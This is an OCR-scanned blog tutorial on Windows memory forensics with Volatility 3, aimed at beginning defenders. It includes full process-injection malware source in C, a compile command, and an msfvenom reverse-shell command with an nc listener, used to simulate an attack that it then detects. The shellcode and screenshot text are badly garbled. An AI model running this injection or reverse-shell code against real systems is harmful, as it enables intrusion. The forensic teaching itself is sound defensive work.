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3 minute read

Hello, cybersecurity enthusiasts and white hackers!

File Actions Edit View Help kali@ali:~[projects
File Actions Edit View Help

® mc [kali@kali]..em-forensics-1 @  kali@kali:~/pr..em-forensics-1 8

kaligkali 13 ./volatility3/vol.py -f .
mmem raw windows.malfind. Malflnd —pid 2380

PDB scanning finished

Unsisiecsintiav=paytoadStenisselzeat (Ryinaytoad); End VPN Tag Protection CommitCharge PrivateMemory File o

int main(int argc, charx argv(]) i

HANDLE ph;
HANDLE rt;
PVOID rb;

0x2050000 0x2050fff Vads PAGE_EXECUTE_READWRITE 1 1

printf( %i°, atoi(argv[11));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv|

rb = VirtualAllocEx(ph, , my_payload_len, (MEM_RESERVE

PAGE_EXECUTE_READWRITE); : 2 20 00 00 00 aaaaa 00

2380 mspaint.exe ﬁx-’a3!ﬂ 0x4380Fff Vads PAGE_EXECUTE_READWRITE 1
isabled
45 8d 77 cd 48 8d @5 c5 E.

WriteProcessMemory(ph, rb, my_payload, my_payload_len,
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rt = CreateRemoteThread(ph, » 7y (LPTHREAD_START_ROUTIN|

CloseHandle(ph);
retur H

hack. cpp
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This is a result of my own research on memory forensics via the Volatility Framework.

memory forensics

Sometimes, after a system has been pwned, it's important to extract forensically-relevant
information. RAM is considered volatile - meaning that it doesn’t live long. Each time a
computer is restarted, it flushes its memory from RAM, which means that, if a computer is

hacked and then is restarted, you'll lose a lot of information that tells the story about how the

system was compromised by attacker.

volatility Framework

Volatility is a tool that can be used to analyze the volatile memory of a system. Download
and install from here

practice example
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https://cocomelonc.github.io/tutorial/2022/02/07/mem-forensics-1.html
https://github.com/volatilityfoundation/volatility3

First of all, for simulating malware activity, create classic process injection malware:
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https://cocomelonc.github.io/tutorial/2021/09/18/malware-injection-1.html

#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <windows.h>

// meow-meow messagebox payload (without encryption)
unsigned char my_payload[] =

"\XTFc\x48\x81\xed\xFO\XTFF\XTFF\Xxff\xe8\xdO\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xcO\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\Xx01\xd0\x3e\x8b\x80\x88\x00\Xx00\x00\x48\x85\XxcO\x74\x6f"
"\Xx48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xFFf\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xF1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\Xx75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xdO\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\Xx59\x5a\x3e\x48\x8b\Xx12\xe9\ X4\ X FF\xFF\xFf\x5d\x49\xc7"
"\XC1\X00\Xx00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xed0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\X9d\XxFFAxd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\X75\x05\xbb\x47\x13\x72\x6TF\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6F\x77\x2d\x6d\x65\x6F\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

unsigned int my_payload_len = sizeof(my_payload);

int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer

// parse process ID
printf("PID: %i", atoi(argv([1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" data between processes
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);

// our process start new thread
rt = CreateRemoteThread(ph, NULL, O, (LPTHREAD_START_ROUTINE)rb, NULL, ©, NULL);
CloseHandle(ph);
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return 0;

compile:

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/

-s -ffunction-sections

exceptions

-fdata-sections
-fmerge-all-constants -static-libstdc++ -static-libgcc

-Wint-to-pointer-cast -fno-

-fpermissive

-Wno-write-strings

kali@kali:~/projects/cybersec_blog/2022-02-07-mem-forensics-1

File Actions Edit View Help

kali@kali:~/pr...[cybersec_blog &

kaliagkali
kaligkali

mc [kali@kali...f_shared/work &

kali@kali:~/pr...em-forensics-1 &

kali@kali:~/projects/volatility &

vin hack cpp
ingw i++ hack.cpp -o hack.exe -mconsole -I/usr/sha

re/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno- wrlte strlngs -Wint-to-pointer-cast -fno-exceptions -fmerge-all-c

onstants -static-libstdc++ -static-libgcc -fpermissive
kaligkali

total 44

=rwxr=xr-x 1 kali kali 40448 Feb 7 13:48 hack.exe
=rw-r—r— 1 kali kali 2368 Feb 7 13:32 hack.cpp
kaliagkali

and run:

.\hack.exe 2380

nvim hack.cpp

File Actions Edit View Help

1s -1t

unsigned int my_payload_ of (my_payload);
int main(int argc, charx argv[]) {

HANDLE ph;

HANDLE rt;

PVOID rb;

printf( %i', atoi(argv[']));

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argy|

rb = VirtualAllocEx(ph,
PAGE_EXECUTE_READWRITE);

, my_payload_len, (MEM_RESERVE

WriteProcessMemory(ph, rb, my_payload, my_payload_len,

= CreateRemoteThread(ph, , ©y (LPTHREAD_START_ROUTIN

)i
CloseHandle(ph);
retur H

hack.cpp

PE Z:\workscyhersec_hlogh\2B22-B2-B7-men—forensics—1> dir

Directory: Z:work\cybersec_blog\2022-B2-87-nem—forensics—1

Length Name

2368 hack.cpp
48448 hack.exe

2/7,2022

M
2,7/2822 1:31 PH

PS Z:sworkscybersec_blogh2B22-02-B7—men—forensics—1>» .“hack.exe 2380
PID: 238B@PS Z:“work:cybersec_hlog 2822 7-mem—forensics—12>

G2l Untitled - Paint

Meow-meow!

(= & 25 (0] 150 i G 6 (¥ Righ: i

As you can see, everything is work perfectly.

winpmem

Secondly, after run our malicious activity, | downloaded winpmem into victim’s Windows 7 x64

machine. So, run:

>.\winpmem_v3.3.rc3.exe --output mem.raw --format raw --volume_format raw
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After finished, move mem. raw file to my attacker’s kali machine.
analyzing Windows memory

obtaining OS

Obtaining the operating system of the memory dump is pretty easy. The plugin
windows.info.Info can be specified to enumerate information about the captured memory
dump:

python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-
1/dump/mem.raw windows.info.Info
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B  mimr=s- E kali@kali:~/projects 10:58 PM O

kali@kali:~fprojects

File Actions Edit View Help

i@kali].../cybersec_blog # nvim hack.cpp || kali@kali:~/projects

kaligkali ython3 ./volatility3/vol.py -f ./cybersec blog/2022-82-87-m

em-forensics-1/dump/mem.raw windows.info.Info
Volatility 3 Framework 2.0.0

Progress: 100.00 PDB scanning finished
Variable Value

Kernel Base oxfBo00281fR00

DTB 9x187000

Symbols file:///home/kali/projects/volatility3/volatility3/symbols/windows/ntkrnlmp.pd
b/®36C69F6B9E242ERBBT6ELADS53901D6EC-2. json. Xz
Isb64Bit True

IsPAE False

layer_name @ WindowsIntel32e

memory_layer 1 FilelLayer

KdDebuggerDataBlock O=f80002a0c110
NTBuildLab 7601.23539.amd64fre.win?spl_ldr.
CSDVersion 1

KdVersionBlock @xf80002adcdeB

Major/Minor 15.7601

MachineType 34404

KeNumberProcessors 1

SystemTime 2022-82-07 ©7:37:05
NtSystemRoot C:\Windows

NtProductType  NtProductWinNt

NtMajorVersion 6

NtMinorVersion 1

PE MajorOperatingSystemVersion 6

PE MinorOperatingSystemVersion 1

PE Machine 34404

PE TimeDateStamp Fri Sep 2 14:56:46 2016

{n @@DEEH@I@ Right Ctrl

analysing processes

Then, | used the windows.pslist.PsList plugin to look at the processes that were running

on the victim’s computer at the time the memory was captured:

python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-
1/dump/mem.raw windows.pslist.PsList
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Nimrg-

File Actions Edit View Help

i@kali]...fcybersec_blog #

kaligkali py t
em-forensics-1,/dump/mem. raw wind
Volatility 3 Framework 2.0.0
Progress: 100.80
] PPID ImageFileName
reateTime ExitTime

4 L5} System @xfaB0oo
99:01.000000 N/A Disabled
304 4 SmMss.exe

2-07 87:09:01.000000 N/A

384 376 C5rs5s.exe

2-07 B7:09:04.000000 N/A

424 376 wininit.exe

2-07 B87:09:04.000000 N/A

436 416 CSrss.exe

2-07 B7:09:04.000000 N/A

484 416 winlogon.exe
2-07 B87:09:04.000000 N/A

528 424 services.exe
2-07 B7:09:04.000000 N/A

Shi 424 lsass.exe

2-07 B87:09:04.000000 N/A

552 424 lsm.exe @=fa8od2
99:04.000000 N/A Disabled
656 528 svchost.exe

2-07 B87:09:05.000000 N/A

716 528 VBoxService.ex
2-07 87:09:05.000000 N/A

780 528 svchost.exe

E ka

kali@kali:~ [projects

nvim hack.cpp

13 . fvolatility3/vol.py -f ./cybersec blog/2022-02-07-m

ows.pslist.PsList

PDB scanning finished

Offset(V)

File output
ca272@0 92

@=fagbe251cbie
Disabled
0=faBb0246b060
Disabled
0x=faBbe2428060
Disabled
0=faBb024eabdd
Disabled
P=faBbe2533060
Disabled
0=faB80e2573bl1e
Disabled
@=fagbe25albie
Disabled
58dble 1@

0=faBbe2608060
Disabled
0=fag8be25a6ble
Disabled
BxfaBbB2658b1@

51@

2

Threads Handles SessionId

cali:~/projects 10:59 PM a

kali@kali:~/projects £

Wowb4C

N/A False 2822-82-87 @7:

29 N/A False 2022-0

@ False 2822-0

@ False 2022-0

False 2022-0

False 2022-0

False 2022-0

False 2022-0

2022-02-07 07:
False 2022-0
False 2022-0

False 2022-0

{o @ﬁlﬂ@ﬂ@&] Right Ctrl

7/14



B =

File Actions

Edit View Help

\li@kali..rk/07.02.2022

spoolsv.exe
] N/A
svchost.exe
20 N/A
svchost.exe
0000 N/A
taskhost.exe

kali@kali:~ [projects

nvim hack.cpp

0=fa8002851b10
Disabled
0=fa80026c9b10
Disabled
0=faB0029ecb10
Disabled
0xfa8002961b10
Disabled
0xfa8002982b10
Disabled

dwm.exe @xfaBe@274f700 3

N/A

explorer.exe
] N/A

VBoxTray.exe
] N/A

ProcessHacker.
000 N/A
SearchIndexer.
] N/A
wmpnetwk.exe
N

powershell.exe
/A

Disabled

0=fa800297d060
Disabled
0xfa8001d5c6d0
Disabled
0xfa8001d27060
Disabled
0xfa80025d0690
Disabled
0xfa8002d05560
Disabled
0xfa8002d58b10
Disabled
0xfa8001b21640
Disabled
0xfa8000da1060
Disabled
0xfa8000dd29c0
Disabled

Looking at the list, PID 2380

process injected code

jects

11:10PM O

kali@kali:~/p

% Process Hacker [WINTPC-x64\qwe]
Hacker Help
% Refresh .73 Options | @8 Find handles or DLLs
Processes | Services | Network | Disk |

Name PID

ol o]

View Tools Users

Search Processes (Ctrl+K) O

CPU L/Ototal ... User name De *
9.04 MB He
178 MB

6207 MB

38ME
218 MB
472 MB
2.06 MB
132 MB
243 MB

4289 MB
1.98 MB
753 MB
753 ME

3593 MB

Private b...
B svchost.exe
=Y svchost.exe
B svchost.exe

5 Isass.exe
= lsmeexe
4[5 csrss.exe
EX conhost.exe
B conhost.exe
B winlogon.exe

WINTPC-164\qwe
WINTPC-164\ qe

4 explorer.exe
¥4 VBoxTray.exe

WINTPC-x64\que
WINTPC-x64\qwe
WINTPC-x64\que
WINTPC-164\qwe
WINTPC-x64\que

1= ProcessHacker.exe

2! mspaint.exe

2/ powershell.exe 2640

EX cmd.exe d I,

CPU Usage: 1.68% Physical memory: 379.23 MB (37.05%) Processes: 38

Windows Media Player

I

..done in 8.7366352 seconds.

is mspaint.exe, which is our victim process.

(=)
{1 7 0 O] B i G @ @ rioht i

Then for finding hidden and injected code, run:

python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-
1/dump/mem.raw windows.malfind.Malfind

File Actions
56\x07\

Edit View Help
xd5\
X
X4
X6
X3

unsigned int my_payload_len

int main(int argc,

HANDLE p
HANDLE r
PVOID rb;

printf(

rb = VirtualAllocEx(ph,

ar* argv[])

(my_payload);

%i°, atoi(argv[:1));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv|

PAGE_EXECUTE_READWRITE

WriteProcessMemory(ph, rb, my_payload, my_payload_len,

rt = CreateRemoteThread(ph,

CloseHandle(ph);
retur H

13

+ , (LPTHREAD_START_ROUTIN

File

mc [kali@kali]..em-forensics-1 B

kaligkali

mp/mem. raw windows . malfind-Ma;l%ir}d
(]

Actions

Edit

kali@kali:~projects
View Help
kali@kali:~/pr...em-forensics-1 B kali@kali:~/projects

f ./cybersec blog/2022-02-07-mem-forensics-1/du

Volatility 3 Framework 2.

Progress:
Process
Hexdump Disasm

PID
tput

2380

isabled

, my_payload_len, (MEM_RESERVE

[
2380

isabled

8d
0a
00
fb
of
of
00

hacieepp 52 I
d2

@ 89 35 ea Of 0f 00

o
00
4e

00
00

[}
48
8b
of
00
48
id
of
id

kaligkali

100.00

mspaint.exe

00
00
00
00
00
00
00
00

mspaint.exe

48
8d
c7
o8
4h
89
ec
of
fb

PDB scanning finished

Start VPN End VPN Tag Protection CommitCharge PrivateMemory File ou

0x2050000 0x2050fff Vads PAGE_EXECUTE_READWRITE 1
00 00

00

00

00

00

00

00 .

00 . 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00

00 00 00 00 00 00 00 00 @0 00 00 00 00 00 00 00 00 00 00 00 0

00
0=4380000 0=4380FFF Vads PAGE_EXECUTE_READWRITE 1 1 D
8d @5 c5 E.w
ed 1e 10
33 d2 89
44 89 35 .
89 35 01 .
05 de of .
of of oo .
00 e8 M
of of

. 45 8d 77 cd 48 8d 05 c5 11 0a 00 48 8d od le 10 of 00 4c 8b c7
00 44 89 35 fc of @f 00 44 89 35 01 10 Of 00 48 89 05 de of of @0 89 1d ec of of @
e8 4d
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[ g~ rojects  11:12 PM 80%
’q‘ - - Ll - = ojects = ‘ L ¢ it 7] mspaint.exe (2380) Pr| | A Results - mspaint.exe (2380)
ali@kali:~/projects g
General | Statistics | Per| 3 results,
File Actions Edit View Help Ee|
‘ ‘ B i N ) ) ) r Hide free regions Address Length Resuit
\li@kali...rkf07.02.2022 & nvim hack.cpp B kali@kali:~/projects — Ox146e 10 0 Meow-meow!
e S G i EL O ! Base address 0x3b5505e 20 Meow-meow!
olatility ramework 2.0. 0x4330127 10 Meow-meow!
Progress: 1008.00 PDB scanning finished Dxﬁ:z&ooo z L
PID Process Start VPN End VPN Tag Protection CommitCharge Privat o 33000
eMemory File output Hexdump Disasm Dx7feffd02000
Ox7feffc7e000
2380 mspaint.exe 0x2050000 0=2050fff Vads PAGE_EXECUTE_READWRITE 0x7feff345000
1 1 Disabled 0x7fefecs3000
@0 00 00 00 00 00 00 ........ Ox7fefebadooo
00 0 noa Dx7fefesabinn Meow-meow!
0x7fefe425000
0x7fefe253000
0x7fefd121000
Ox7fefd11f000
Ox7fefberfoon
00 00 00 02 00 00 @O 0 00 @0 80 00 00 DO 0O © O 7HefBbfdooD
00 00 00 00 00 00 00 00 @0 00 00 00 00 00 00 00 00 00 00 OxFfefabec000
00 00 00 00 00 00 @0 00 00 00 00 @O 0O 00 00 00 0O 00 00 00 Ox7fefabebo0n
2380 mspaint.exe 0=4380000 @=4380Fff Vads PAGE_EXECUTE_READWRITE L |
1 1 Disabled = | | Cxrfefbesnoo
45 8d 77 cd 48 8d 05 c5 E. . E’(ﬁfwzfgggg
11 0a 0@ 48 8d od 1le 10 .. . *
of 00 4c 8b c7 33 d2 89 5 Dx7fef325f000

1d fb of Of 00 44 89 35
fc Of Of 08 44 89 35 01 . a2 = ] \u\i’ﬁ! i
10 of 00 48 89 05 de Of : - - =
of 00 89 1d ec @f of 00

89 35 ea Of Of 00 e8 4d .5 M 45 8d 77 cd 48 8d @5 c5 11 @a @0 48 Bd od 1e 1 |

sing theme mmistakes/minimal-mistakes
2nerating feed for posts
..done in 9.8591828 seconds.

@ 0f 00 4c 8b c7 33 d2 89 of of 00 44 89 35 fc Of Of 00 44 89 35 01 10 of 00 48
89 05 de Of Of 00 89 1d ec @f @f 00 89 35 ea 0f 0f 00 e8 4d
kaligkali [ ]

As you can see, we found memory section which we injected our meow-meow payload.

Then, dump the process memory with windows.memmap.Memmap plugin:

python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-
1/dump/mem.raw --output-dir ./cybersec_blog/2022-02-07-mem-forensics-1/dump/
windows.memmap.Memmap --pid 2380 --dump

"Bl B aliz~fprojects 11:17PM O

kali@kali:~/projects
File Actions Edit View Help

i@kali]..em-forensics-1 B nvim hack.cpp x kali@kali:~/projects

@=faB00a286000 ©0x2453e000 @=1000 OxchabBoo pid.2380.dmp
@=faB0Ba2B7000 0x2433d000 @=1000 @xcha7000 pid.2380.dmp
@=faB00a2838000 0x2447c000 @=1000 Oxchas000 pid.2380.dmp
exffffffdeeeoe 0x100000 @=1000 Oxcha9000 pid.2380.dmp
xffffffdol1eoe 0x105000 @=1000 Oxchaadodd pid.2380.dmp
xffffffdozeee 0x101000 @=4000 @xchabdoo pid.2380.dmp
@xffffffdo7000 0x5000 @=1000 O@=xchafood pid.2380.dmp
xffffffdospoe 0x1000 0=1000 O0=coboood pid.2380.dmp
@xffffffdooeoe ©0x6080 0=1000 @8=xc6blood pid.2380.dmp
exffffffdoagoe =0 @=1000 B=cob2000 pid.2380.dmp
exffffffdoboee ©0x7000 @=x1000 @xcob3000 pid.2380.dmp
@xffffffdocooe ©0x2000 0=3000 O=xc6bLioOd pid.2380.dmp
kaligkali s =1t ./cybersec blog/2022-82-87-mem-forensics-1/dum
total 1252004

1 kali kali 208367616 Feb 7 23:17 pid.2380.dmp
=ruxrwx-— 1 kali kali 1073676288 Feb 7 23:06 mem.raw
kaligkali [ |
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finding strings

The strings command is a popular static malware analysis tool that can quickly assist in

extracting human-readable pertaining to a malicious file:

strings -e 1 ./cybersec_blog/2022-02-07-mem-forensics-1/dump/pid.2380.dmp | grep -ie

"meow-meow"

B Wi ‘ i j 11:19PM O AN
kali@kali:~ fprojects

File Actions Edit View Help

i@kali]..em-forensics-1 nvim hack.cpp 3 kali@kali:~/projects 3

kaligkali -e 1 ./cybersec_blog/2022-02-87-mem-forensics—-1/dum
/pid.2380@.dmp | grep -ie " s

-

“z| mspaint.exe (2380) Pr B Results - mspaint.exe (2380)

General | Statistics | Perf 3 results.

Kaligkall

Hide free regions Address
Ox146e10
Base address 0x3b5505e
Ox7feffe26000 0x4380127
0x7feffd53000
0x7feffd02000
Ox7feffc7e000
0x7feff346000
Ox7fefece8000
0x7fefeb8d000
Ox7fefesab000
0x7fefe425000
0x7fefe25a000
0x7fefd121000
0x7fefd11f000
Ox7fefbc7f000
0x7fefabfdoon
0x7fefébeed0d
Ox7fefébeb000
0x7fefdbed000
0x7fef82a0000

AuTEnfaAATANN

=

H
2
&

Meow-meow!

Result

Meow-meow!
Meow-meow!
Meow-meow!
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B mmCs- G

kali@kali:~[projects
File Actions Edit View Help
i@kali]..em-forensics-1 @ nvim hack.cpp ] kali@kali:~[projects =

kaligkali 1 ./cybersec_blog/2022-02-87-mem-forensics-1,/dum
/pid.2380.dmp | grep -i -B5-A5
Undo -
gSave
&0pen
Ghew
$B49

el mspaint.exe (2380) Pr 5 Results - mspaint.exe (2380)

1
Rectangle
Polygon
Triangle
Diamond
Pentagon

General | Statistics | Per, 3 results,

Hide free regions Address Result
0x146e10 Meow-meaw!
Base address 0x3b5505e Meow-meow!
SEdit 0x7feffe26000 0x4380127 Meow-meow!
th x 0x7feffds3000
50pe 0x7feffd02000
§Close | 0x7feffc7e000
xploI 1 0x7feff346000
g Ox7fefecsd000
MSCTFIME UI 0x7fefebadoon
OLEChannelWnd 0x7fefesab00n
MCI command handling window Dx7Fefad25000
Default IME Dx7fefe25a000
Is this copy of Windows &legal? OxTFefd121000

0x7fefd11f000
0x7fefbc7foo0
0x7fefabfdooo
Ox7fefsbes000
0x7fefabebd0n

0x7fefabesnon
| Ox7ifoz2a0000

0x7fef44d7000

| =l |z B

Meow-meow!

Brushes
Shapes
Shapes
Outsline

network connections

Next, | tested a scenario in which a malware or an attacker injects code into an already
running process, and only then initiates a connection. Let’s go to replace our payload in
malware example as msfvenom reverse shell for demo:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.2.6 LPORT=4444 EXITFUNC=thread
-fc

2: eth@: <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group de
fault glen 1000

link/ether 08:00:27:c0:55:4d brd ff:ff:ff:ff:fF:Ff

inet 10.10.2.6/24 brd 18.1@.2.255 scope global dynamic eth@

valid_1ft 522sec preferred_lft 522sec
inet6 fe8@::a00:27ff:fecd:554d/64 scope link
valid_Llft forever preferred_lft forever
3: ethl: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group de
fault glen 1000
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kali@kali:~
File Actions Edit View Help

kali@kali:~ B  mc [kali@kali]..em-forensics-1 @  kali@kali:~/pr...em-forensic

inet 172.17.0.1/16 brd 172.17.255.255 scope global docker®
valid_1ft forever preferred_lft forever

kaligkali msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.2.6 LPORT=4444
EXITFUNC=thread -f c

[-] No platform was selected, choosing Msf ::Module:: Platform:: Windows from the payload
[-] Mo arch selected, selecting arch: x6& from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 468 bytes

Final size of c file: 1957 bytes

unsigned char buf[] =

" fo\xa8\x83\xes \xFO\xe8\xcO\xB0 \x00 \x00\ x&1\x51\x461\ x50 x52"
"% x510x56 48\ x31\xd 2\ x65 \x&8\ xBb\x52\x 60\ x 48\ x8b\x52\ x 18\ x48"
"N\xBbAXEZN\ 20N\ XLB\XBD\ T2\ x50\ x4 B\ xB F\xb7\x4a \ xba \xbd\x31\xco"
&8\ x31\xcB\xac\x3c\x61\x7c\xB2 \x2c\x20\x&1 \xc1\xco9\xBd\ x41"
"\x01\xcl\xe2\xed\x52\x41\x51\x48\x8b\x52\x20 \ xBb\x&42\x3c\x4B"
"\ x@1\xdd\x8b\x80\xBE\xB0\x00\ xB0\x48\ X85\ xcB\ 74\ X6 7\ k4B \x01"
"hxd@\ x50\ x8b\x48\x 18 \x44 \xBb\ x40\ x20 \ x40\ x01 \xdB\ xe3\x56 \x48"
"N FFARCO\ a1\ XBD\ X34\ BB\ X488\ xB 1 \xd 6N\ &d\x31 O\ LB\ K31\ xcB"
"xachxel\xclixc9h\xBd\x41\x01 \xc1\x38\xe@\x 75 \xFf1\x&c\xB3 \xbc"
"W 24\x08\ x5 %39\ xd 1\ x 75 \xd8\ k58 \x&&\xBb\ x40\ x24\x59 \x0 1\ xd0"
"6 X481\ BbAXOC\XEB\ 44\ B\ x40 \ 21 c\x 69\ x01 \xdB\ xE1\xBb\ x 04"
Y88\ 4B\ X011\ xd0\ x&1\x58 \x41\x58 \ x5\ %59\ x5a \ xe1\ %58\ k&1 \x59"
"4\ x5a\x48\ X8B3 \xec\ 20\ x4 1\ k52 \x FF\xed\x58 \x41\x59\x5a\x48"
"\ x8bAx12\ e\ xS 7\ F A FF\xFF\x5d\x49 \xbe\x77\x73\x32\x5f\x33"
" x32\x00\x00%\x41\x56 \x49\x89 \ xeb \x48\xB1\xec\xad\ x01\x00 \x00"
"GN\ xBO\e5 x40\ xbc\ B2\ x00 \ x11 \x5ch\xBa\xBa \ B2\ xB6\ K41\ x54"
"\ x69\xB9\xed\ x4\ kB \xF1\x41 \xba\x&c \x77\x26\x0 7\ xF Fi\xd5\x4c"
"y %89\ xea\x68\x01\x01\x00\x00\ x59 \x41\xba\x29\x80\x6b\xB0 \ X ff"
"haxd5h x50 50\ xAd VX3 1\ e\ xAd\ 31\ e B\ X EB\ X F i\ cB\x4B\XBD\xC2"
"B\ FF\xcO\x48\xBO\xc1\x&1\xba\xea \x@F\xdf\xed\xffi\xd5\x48"

b & & L5 i 8 @ @) right ctr

For the correctness of the experiment, we will launch our malware and make a memory
dump:
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ne -lvp 4444
File Actions Edit
nc-lvp 4444

View Help

®  mc [kali@kali]..em-forensicy

kaligkali nc -lvp 4444
listening on [any] 4444 ...
10.10.2.16: inverse host lookup failed: Unknown host

%8 Process Hacker [WIN7PC-x64\qwe]

Hacker View Tools Users Help

=)

2 Refresh (2} Options | @i Find handles or DLLs ** Search Network (Ctrl+K)

Metwork | Disk

connect to [10.10.2.6] from (UNKNOWN) [10.10.2.16] 4933
Microsoft Windows [Version 6.1.7601]
Copyright (c) 9 Microsoft Corporation.

Processes | Senvices

ALl rights r Local.. Remote address State Owner
49157
49157

49335

Local address
5] Isass.exe (5., WINTPC-x64
5 Isass.exe (5...  WINTPC-xb4
%) mspaint.ex..  WINTPC-x64...
WINTPC-x54 49155
WINTPC-x54 49155
WINTPC-x54 5355
WINTPC-x64 5355
WINTPC-x54... 1900
WINTPC-x54 1900
WINTPC-x54 3702
WINTPC-x54 49152
WINTPC-x64 1900
WINTPC-x54... 1900
WINTPC-x54 3702

Name
C:\Users\qwe>fi Listen
Listen
Estahlish...

Listen

101026

| services.ex...
| services.ex... Listen
| svehost.ex. Dnscache
Dnscache
SSDPSRY
SSDPSRY
FDResPub
FDResPub
SSDPSRY
SSDPSRY

FDResPub

7 svchost.ex...
svchost.ex...
svchost.ex...

| svchost.ex.

| svehost.ex.

7 svchost.ex...

7 svchost.ex...

svchost.ex...
T

CPU Usage: 2.09%  Physical memory: 374,61 MB (36.60%) Processes: 39

EIFE- -

Bok@srBaE B @ @ rontcr

Ol ome -

&5 1= Process Hacker [WINTPC-x04'\qwe] =

PI: Hacker View Tools Users Help

7 Refresh 2} Options | #&8 Find handles or DLLs
Metworke | Disle

* Search Metwork (Ctrl+K)

i\ System32iemd.exe

Wednesday, February 09, 2022

N- =0 0
{0 22 5 0 =) 19 8] B @) right
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Then run Volatility with windows.netstat.NetStat plugin. This plugin allows you to see the
network connections on the machine at the time the memory was captured:

python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-
1/dump/mem.raw windows.netstat.NetStat | grep -ie "mspaint.exe"

| I —
kali@kali:~ [projects
File Actions Edit View Help
®  mc[kali@kali..rk/07.02.2022 @ kali@kali:~/pr..em-forensics-1 @ kali@kali:~/projects

kalimkali python3 ./ ility3/vol.py -f ./cybersec blog/2022-02-07-mem-forensics-1/du
mp/mem.raw windows.netstat.NetStat | grep -ie "ms

0xfaB8001d2c210.0TCPv4  10.10.2.16B scan49335fin1@.10.2. bbb ESTABLISHED 2380

.exe N/A

kalimkali [ ]

=

(%] "B Process Hacker [WINTPC-x64\qwe] EI@ (=]

Hacker View Tools Users Help

‘é’p Refresh .23 Options | E8 Find handles or DLLs * Search Metwork (Ctrl+K) L0
| Processes I Services | Network | Disk |
=

Name Local address  Local.. Remote address . Prot.. State Owner

[ Isass.exe (5. WINTPC-x54 49157 TCP Listen

[ Isass.exe (5. WINTPC-x54 49157 TCPG  Listen

) mspaint.ex.. WINTPC-x64... 49335 101026 TCP Establish...

o] services.ex..  WINTPC-64 49155 TCP Listen

[ services.ex..  WINTPC-64 49155 TCPG  Listen

[ svchost.ex..  WINTPC-64 5355 upp Dnscache
[ svchost.ex..  WINTPC-64 5355 UDPs Dnscache
[ svchost.ex..  WINTPC-x64... 1900 upp SSDPSRYV
[ svchost.ex..  WINTPC-64 1900 upp SSDPSRYV
[ svchost.ex..  WINTPC-64 3702 upp FDResPub
[ svchost.ex..  WINTPC-64 49152 upp FDResPub
[ svchost.ex..  WINTPC-64 1900 UDPG SSDPSRYV
[ svchost.ex..  WINTPC-x64... 1900 UDPG SSDPSRYV

[ svchost.ex..  WINTPC-64 3702 UDPs FDResPub =
] 1 ¢

CPU Usage: 1.60%  Physical memory: 378.31 MB (36.96%) Processes: 40 @a

conclusion

There are still a ton of other plugins that are currently available that | did not mention in this
tutorial and the memory sample | were analyzing was a Windows memory dump, because |
did not work with the different plugins that target the Linux and Mac operating systems.

| hope this post will be very helpful for entry level cybersec specialists from blue team.

Volatility3
Classic code injection technique

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://github.com/volatilityfoundation/volatility3
https://cocomelonc.github.io/tutorial/2021/09/18/malware-injection-1.html

